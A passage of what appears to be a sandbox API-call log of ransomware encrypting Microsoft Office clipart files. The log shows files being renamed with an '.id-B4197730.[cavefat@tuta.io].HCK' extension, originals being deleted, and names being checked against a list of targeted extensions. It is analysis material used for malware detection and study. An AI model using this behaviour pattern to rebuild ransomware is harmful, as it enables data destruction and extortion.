office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.854] GetLastError () returned 0x0 [0170.854] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xf00, lpOverlapped=0x0) returned 1 [0170.855] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf10, lpOverlapped=0x0) returned 1 [0170.856] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.856] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.856] SetEndOfFile (hFile=0x370) returned 1 [0170.860] CloseHandle (hObject=0x370) returned 1 [0170.861] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.861] SetEndOfFile (hFile=0x308) returned 1 [0170.866] CloseHandle (hObject=0x308) returned 1 [0170.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".doc") returned 4 [0170.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString=".docx") returned 5 [0170.871] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.871] lstrlenW (lpString=".pdf") returned 4 [0170.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString=".xls") returned 4 [0170.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.871] lstrlenW (lpString=".xlsx") returned 5 [0170.871] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.871] lstrlenW (lpString=".ppt") returned 4 [0170.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".zip") returned 4 [0170.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.871] lstrlenW (lpString=".rar") returned 4 [0170.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString=".bz2") returned 4 [0170.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString=".7z") returned 3 [0170.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".dbf") returned 4 [0170.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".1cd") returned 4 [0170.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".jpg") returned 4 [0170.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.871] lstrlenW (lpString=".doc") returned 4 [0170.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.871] lstrlenW (lpString=".docx") returned 5 [0170.871] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.871] lstrlenW (lpString=".pdf") returned 4 [0170.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString=".xls") returned 4 [0170.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.872] lstrlenW (lpString=".xlsx") returned 5 [0170.872] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.872] lstrlenW (lpString=".ppt") returned 4 [0170.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.872] lstrlenW (lpString=".zip") returned 4 [0170.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.872] lstrlenW (lpString=".rar") returned 4 [0170.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString=".bz2") returned 4 [0170.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString=".7z") returned 3 [0170.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.872] lstrlenW (lpString=".dbf") returned 4 [0170.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.872] lstrlenW (lpString=".1cd") returned 4 [0170.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0170.872] lstrlenW (lpString=".jpg") returned 4 [0170.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.872] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.872] lstrlenW (lpString="J0215076.WMF") returned 12 [0170.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.874] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8016) returned 1 [0170.874] CloseHandle (hObject=0x39c) returned 1 [0170.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf")) returned 0x220 [0170.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.882] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.882] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.887] GetLastError () returned 0x0 [0170.887] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1f50, lpOverlapped=0x0) returned 1 [0170.889] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1f60, lpOverlapped=0x0) returned 1 [0170.890] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.890] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.890] SetEndOfFile (hFile=0x380) returned 1 [0170.892] CloseHandle (hObject=0x380) returned 1 [0170.895] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.895] SetEndOfFile (hFile=0x38c) returned 1 [0170.901] CloseHandle (hObject=0x38c) returned 1 [0170.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf")) returned 1 [0170.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.905] lstrlenW (lpString=".doc") returned 4 [0170.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.905] lstrlenW (lpString=".docx") returned 5 [0170.905] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.905] lstrlenW (lpString=".pdf") returned 4 [0170.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.905] lstrlenW (lpString=".xls") returned 4 [0170.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.905] lstrlenW (lpString=".xlsx") returned 5 [0170.905] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.905] lstrlenW (lpString=".ppt") returned 4 [0170.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.905] lstrlenW (lpString=".zip") returned 4 [0170.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.905] lstrlenW (lpString=".rar") returned 4 [0170.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.905] lstrlenW (lpString=".bz2") returned 4 [0170.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.905] lstrlenW (lpString=".7z") returned 3 [0170.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.905] lstrlenW (lpString=".dbf") returned 4 [0170.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".1cd") returned 4 [0170.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".jpg") returned 4 [0170.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".doc") returned 4 [0170.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString=".docx") returned 5 [0170.906] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.906] lstrlenW (lpString=".pdf") returned 4 [0170.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString=".xls") returned 4 [0170.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.906] lstrlenW (lpString=".xlsx") returned 5 [0170.906] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.906] lstrlenW (lpString=".ppt") returned 4 [0170.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".zip") returned 4 [0170.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.906] lstrlenW (lpString=".rar") returned 4 [0170.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString=".bz2") returned 4 [0170.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString=".7z") returned 3 [0170.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".dbf") returned 4 [0170.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".1cd") returned 4 [0170.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0170.906] lstrlenW (lpString=".jpg") returned 4 [0170.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.906] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.906] lstrlenW (lpString="J0215718.WMF") returned 12 [0170.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.909] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5618) returned 1 [0170.909] CloseHandle (hObject=0x39c) returned 1 [0170.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 0x220 [0170.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.924] GetLastError () returned 0x0 [0170.924] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x15f2, lpOverlapped=0x0) returned 1 [0170.925] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1600, lpOverlapped=0x0) returned 1 [0170.926] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.926] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.926] SetEndOfFile (hFile=0x39c) returned 1 [0170.931] CloseHandle (hObject=0x39c) returned 1 [0170.932] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.932] SetEndOfFile (hFile=0x38c) returned 1 [0170.935] CloseHandle (hObject=0x38c) returned 1 [0170.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".doc") returned 4 [0170.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString=".docx") returned 5 [0170.941] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.941] lstrlenW (lpString=".pdf") returned 4 [0170.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString=".xls") returned 4 [0170.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.941] lstrlenW (lpString=".xlsx") returned 5 [0170.941] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.941] lstrlenW (lpString=".ppt") returned 4 [0170.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".zip") returned 4 [0170.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.941] lstrlenW (lpString=".rar") returned 4 [0170.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString=".bz2") returned 4 [0170.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString=".7z") returned 3 [0170.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".dbf") returned 4 [0170.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".1cd") returned 4 [0170.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".jpg") returned 4 [0170.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.941] lstrlenW (lpString=".doc") returned 4 [0170.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.941] lstrlenW (lpString=".docx") returned 5 [0170.942] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.942] lstrlenW (lpString=".pdf") returned 4 [0170.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString=".xls") returned 4 [0170.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.942] lstrlenW (lpString=".xlsx") returned 5 [0170.942] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.942] lstrlenW (lpString=".ppt") returned 4 [0170.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.942] lstrlenW (lpString=".zip") returned 4 [0170.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.942] lstrlenW (lpString=".rar") returned 4 [0170.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString=".bz2") returned 4 [0170.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString=".7z") returned 3 [0170.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.942] lstrlenW (lpString=".dbf") returned 4 [0170.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.942] lstrlenW (lpString=".1cd") returned 4 [0170.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF") returned 68 [0170.942] lstrlenW (lpString=".jpg") returned 4 [0170.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.942] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.942] lstrlenW (lpString="J0216570.WMF") returned 12 [0170.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.947] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24796) returned 1 [0170.947] CloseHandle (hObject=0x30c) returned 1 [0170.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf")) returned 0x220 [0170.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.959] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.959] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.966] GetLastError () returned 0x0 [0170.966] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, 